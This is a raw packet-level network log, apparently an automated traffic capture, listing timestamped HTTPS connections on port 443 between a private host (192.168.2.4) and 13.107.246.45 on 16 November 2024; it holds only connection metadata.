Nov 16, 2024 04:34:21.900954962 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.900954962 CET	49985	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.900990009 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.901014090 CET	443	49985	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.904958963 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.905050039 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.905134916 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.906228065 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.906315088 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.906394005 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.906517029 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.906552076 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:21.906594038 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:21.906615973 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.471302032 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.471827984 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.471916914 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.472508907 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.472521067 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.525350094 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.525851965 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.525913000 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.526247978 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.526261091 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.537476063 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.537827015 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.537885904 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.538193941 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.538213968 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.601768017 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.601839066 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.601922989 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.601955891 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.602013111 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.602302074 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.602302074 CET	49987	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.602343082 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.602368116 CET	443	49987	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.604669094 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.604758024 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.604855061 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.605042934 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.605073929 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.650232077 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.650691986 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.650716066 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.650790930 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.651129007 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.651153088 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.651160002 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.651209116 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.651521921 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.651535988 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.656981945 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.657134056 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.657202959 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.657252073 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.657253027 CET	49988	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.657284975 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.657309055 CET	443	49988	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.659682035 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.659718037 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.659885883 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.660002947 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.660012007 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.667759895 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.667916059 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.667963982 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.668025017 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.668037891 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.668045998 CET	49989	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.668049097 CET	443	49989	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.670259953 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.670288086 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.670355082 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.670510054 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.670535088 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.781358957 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.781501055 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.781594038 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.781639099 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.781640053 CET	49990	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.781661987 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.781683922 CET	443	49990	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.783905983 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.783935070 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.784017086 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.784147978 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.784163952 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.784883022 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.784951925 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.785037994 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.785105944 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.785105944 CET	49991	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.785130978 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.785152912 CET	443	49991	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.786835909 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.786881924 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:22.786948919 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.787054062 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:22.787070990 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.337632895 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.338332891 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.338362932 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.338629961 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.338639975 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.383409977 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.383863926 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.383888006 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.384102106 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.384109020 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.429794073 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.430131912 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.430176973 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.430464983 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.430474043 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.465728998 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.466070890 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.466140032 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.466183901 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.466207981 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.466224909 CET	49992	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.466232061 CET	443	49992	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.468844891 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.468923092 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.469017029 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.469156027 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.469189882 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.509634972 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.509788036 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.509840012 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.509903908 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.509927034 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.509938955 CET	49993	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.509947062 CET	443	49993	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.512010098 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.512058020 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.512123108 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.512260914 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.512268066 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.524220943 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.524544001 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.524554968 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.524885893 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.524892092 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.526312113 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.526592970 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.526609898 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.526885033 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.526890039 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.564263105 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.564414024 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.564471960 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.564589024 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.564611912 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.564634085 CET	49994	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.564640999 CET	443	49994	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.566786051 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.566843033 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.566941023 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.567079067 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.567097902 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.656251907 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.656595945 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.656677008 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.656708956 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.656725883 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.656738997 CET	49996	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.656749010 CET	443	49996	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.657144070 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.657212973 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.657318115 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.657356024 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.657402039 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.657494068 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.657511950 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.657565117 CET	49995	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.657572985 CET	443	49995	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.659162045 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659187078 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.659290075 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659377098 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659423113 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.659445047 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659456015 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:23.659473896 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659579992 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:23.659599066 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.193556070 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.194024086 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.194087029 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.194500923 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.194514036 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.278944016 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.279540062 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.279572010 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.279903889 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.279911995 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.314285994 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.319900036 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.320058107 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.320112944 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.320205927 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.320245981 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.320625067 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.320637941 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.320775032 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.320811987 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.320837021 CET	49997	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.320851088 CET	443	49997	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.323527098 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.323565960 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.323666096 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.323812962 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.323824883 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.383436918 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.384577990 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.384602070 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.384999990 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.385004997 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.402302027 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.409533978 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.409583092 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.409889936 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.409898996 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.413755894 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.413819075 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.413889885 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.414011955 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.414036036 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.414052010 CET	49998	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.414058924 CET	443	49998	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.416086912 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.416134119 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.416202068 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.416435003 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.416455030 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.512692928 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.512732029 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.512793064 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.512842894 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.513183117 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.513202906 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.513215065 CET	50000	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.513221979 CET	443	50000	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.516181946 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.516274929 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.516382933 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.516575098 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.516613960 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.536331892 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.536427021 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.536498070 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.536529064 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.536571026 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.537422895 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.569180012 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.569216013 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.592000008 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.592046976 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.592112064 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.592564106 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.592581034 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.607475996 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.607532978 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.607616901 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.607642889 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.607671022 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.607722044 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.612636089 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.612636089 CET	49999	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.612653971 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.612668037 CET	443	49999	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.648468971 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.648488998 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:24.648564100 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.651798010 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:24.651810884 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.156043053 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.156707048 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.156771898 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.157033920 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.157048941 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.249380112 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.249845982 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.249871969 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.250293016 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.250300884 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.271682978 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.271981001 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.272007942 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.272336006 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.272341967 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.312848091 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.313162088 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.313199043 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.313497066 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.313503027 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.333975077 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.333996058 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.334036112 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.334050894 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.334078074 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.334270000 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.334291935 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.334306002 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.334311962 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.336827040 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.336855888 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.336935043 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.337055922 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.337061882 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.378062963 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.378242970 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.378305912 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.378335953 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.378355980 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.378381968 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.378390074 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.380647898 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.380709887 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.380789042 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.380954981 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.380978107 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.390191078 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.391545057 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.391562939 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.391911030 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.391917944 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.403162003 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.403306007 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.403512001 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.403542995 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.403558969 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.403572083 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.403578997 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.412481070 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.412540913 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.412621975 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.412899971 CET	50009	443	192.168.2.4	13.107.246.45
